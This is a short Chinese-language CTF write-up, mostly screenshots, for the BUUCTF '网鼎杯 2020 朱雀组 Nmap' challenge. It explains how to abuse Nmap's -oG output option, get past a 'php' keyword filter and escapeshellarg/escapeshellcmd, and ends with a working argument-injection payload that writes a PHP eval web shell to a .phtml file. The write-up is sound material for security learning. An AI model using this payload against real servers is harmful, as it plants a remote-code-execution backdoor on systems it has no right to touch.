https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]Nmap![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_php](https://file.cfanz.cn/uploads/png/2023/06/19/22/7eS8609840.png)
会把扫描结果导出到一个文件里面
![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_php_02](https://file.cfanz.cn/uploads/png/2023/06/19/22/8b676109R5.png)
![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_BUUCTF_03](https://file.cfanz.cn/uploads/png/2023/06/19/22/e11Nd3Zf6O.png)
给参数f传一个错误的文件名
![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_php_04](https://file.cfanz.cn/uploads/png/2023/06/19/22/0T0788N6D5.png)
通过报错发现使用了simplexml_load_file(),那说明导出的文件格式是xml的
![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_2020网鼎杯朱雀组_05](https://file.cfanz.cn/uploads/png/2023/06/19/22/4Xa17c3886.png)
使用输出格式可以将指定的内容输出到指定的文件格式
![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_2020网鼎杯朱雀组_06](https://file.cfanz.cn/uploads/png/2023/06/19/22/AOQed3E383.png)
![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_2020网鼎杯朱雀组_07](https://file.cfanz.cn/uploads/png/2023/06/19/22/Mc5PD837HH.png)
即便执行失败也无所谓,Nmap会将执行语句记录输出文件。控制输出文件内容以及文件格式就可以解析了
题目环境经过测试可以发现只有-oG是可以执行的,可以先上线一个shell,然后在服务器中检查使用其他参数的结果。就会发现只有-oG是能正常执行的。
但是这里还有些过滤,比如过滤了关键字php,可以使用php 短标签:https://www.php.net/manual/zh/language.basic-syntax.phptags.php
然后还有escapeshellarg()和escapeshellcmd()对传入的参数的保护(感觉有点点猜的意思
还有就是php的文件无法写入,尝试写入一些可能会解析的其他文件后缀
最终payload
host=' <?= @eval($_POST[7]); ?> -oG mc.phtml '![在这里插入图片描述 BUUCTF: [网鼎杯 2020 朱雀组]Nmap_BUUCTF_08](https://file.cfanz.cn/uploads/png/2023/06/19/22/323813f80f.png)










